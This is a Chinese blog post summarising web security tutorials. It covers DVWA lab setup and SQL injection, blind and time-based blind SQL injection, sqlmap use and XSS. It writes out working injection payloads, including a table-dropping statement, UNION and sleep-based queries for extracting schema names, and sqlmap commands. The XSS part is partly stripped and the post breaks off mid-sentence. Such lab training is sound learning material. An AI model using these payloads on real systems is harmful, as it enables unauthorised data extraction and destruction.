web安全学习总结

本博客内容是看看雪论坛上的教程总结而来:

Web安全

前提:环境安装
DVWA下载地址:https://github.com/ethicalhack3r/DVWA
Phpstudy下载地址:http://phpstudy.php.cn

操作方法:
安装好win7的虚拟机,其他操作系统都可以,我安的是windows7,
下载phpstudy和DVWA上传到虚拟机中;

第一步:运行phpstudy
web安全学习总结_第1张图片

第二步:将下载好的DVWA文件放在www文件目录下面
然后在浏览器打开127.0.0.1/DVWA-master/DVWA-master/setup.php进行安装
web安全学习总结_第2张图片
第三步:在config中将config.inc.php.dist拷贝一份然后改为config.inc.php就能够正常安装了
web安全学习总结_第3张图片
web安全学习总结_第4张图片
第四步:创建数据库,phpstudy中自带数据库,默认账号密码都是root,登录mysql数据库,然后创建dvwa,完成创建。

第五步:打开config.inc.php,修改如下:

\$_DVWA[ 'db_server' ] = '127.0.0.1';
\$_DVWA[ 'db_database' ] = 'dvwa';
\$_DVWA[ 'db_user' ] = 'root';
\$_DVWA[ 'db_password' ] = 'root’;

web安全学习总结_第5张图片
然后浏览器打开http://127.0.0.1/DVWA-master/DVWA-master/login.php
web安全学习总结_第6张图片

输入账号admin和密码password之后可以进入

web安全学习总结_第7张图片这里可以调节web攻击的难度:
web安全学习总结_第8张图片点击view Source之后,可以看到源码
web安全学习总结_第9张图片
该测试网站中都会有低中高难度,可以看源码分析,看如何绕过防护措施

1、SQL注入(点击DVWA的SQL Injection)

1>首先,我们看一下正常的数据查询:

?id=1select \* from user where id =‘1’

当我们插入一段有语义的SQL语句’;drop table user–#:

?id=1 ’;drop table user-- \#select \* from user where id =‘1’ ;drop table user--\#’

这样就造成了在查询之后就删除了user表;

2>所以简单的说产生sql注入的两个条件:一个是用户能够控制输入;二是原本程序执行的语句拼接了用户输入的数据;

Sql注入就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

3>sql注入流程:
web安全学习总结_第10张图片
4>sql注入语句:

获取库名:union select 1,database()#

获取表明:union select 1,group_concat(table_name) from information_schema.tables
where table_schema=database()#

获取列名:union select 1,group_concat(column_name) from
information_schema.columns where table_name=‘user’#

2、SQL注入盲注(点击DVWA的SQL Injection(Blind))

1>一般的sql注入在我们输入sql语句的时候都会返回我们执行sql语句的结果,比如我们插入database(),执行结果就会是列举出当前所在的数据库名称dvwa;

而盲注就好像是在做判断题,我们执行的结果不会显示出来,只会告诉你“对”或者“不对”,不会出现回显现象。

回显:就是显示正在执行的批处理命令及执行的结果等。

2>

猜测长度:1' and length(database())>1 # 

  或>1(依次递增1,2,3…)4

猜测库名:1' and ascii(substr(database(),1,1))>97 #

  (对应ASCII码) dvwa

<、>号可以迅速确定大概范围

猜测表名:

(1)猜测表的数量:1' and (select count(table_name) from
information_schema.tables where table_schema=database())=2#

(2)猜测表长度:1' and length(substr((select table_name from
information_schema.tables where table_schema=database() limit 0,1),1))=1 #

(3)获取表名:1' and ascii(substr((select table_name from
information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #

(4)猜测字段的长度:1' and length(substr((select column_name from
information_schema.columns where table_name= ’users’ limit 0,1),1))=1 #

(5)猜解字段:1' and ascii(substr((select column_name from
information_schema.columns where table_name='users' limit 0,1),1,1))>120 #

3>如果某些系统对于输入的语句没有回应,那么可以用基于时间的sql盲注

(1)判断数据库长度:1' and if(length(database())=4,sleep(3),1) #

(2)猜测数据库名称:1' and if(ascii(substr(database(),1,1))>97,sleep(3),1)#

(3)猜测表的数量:1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)#

(4)猜测表名的长度:1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) #

4>sqlmap内容:(去网上下载sqlmap工具进行注入)

网站输入内容的链接放在这里运行即可

针对链接:python sqlmap.py –u “url”

网站输入内容后,提交之后抓包,将内容放到1.txt,之后运行

针对数据包: python sqlmap.py –r 1.txt

3、跨站脚本攻击(XSS)

1>跨站脚本攻击-XSS,全称Cross site
scripting,特殊的注入攻击,相当于在代码中注入恶意的脚本,当用户访问页面时,在浏览器中触发并解析代码,完成攻击。

xss根据不同的攻击形式分为反射型xss、存储型xss、Dom型Xss。

2>输入攻击脚本代码

  
'>
//框架注入
"> <"
link //链接注入

3>Low等级的源码:
web安全学习总结_第11张图片
没有加任何防护,上面的语言都可以成功

4>Medium等级的源码:
web安全学习总结_第12张图片
防护措施:将

你可能感兴趣的:(网络安全--web安全)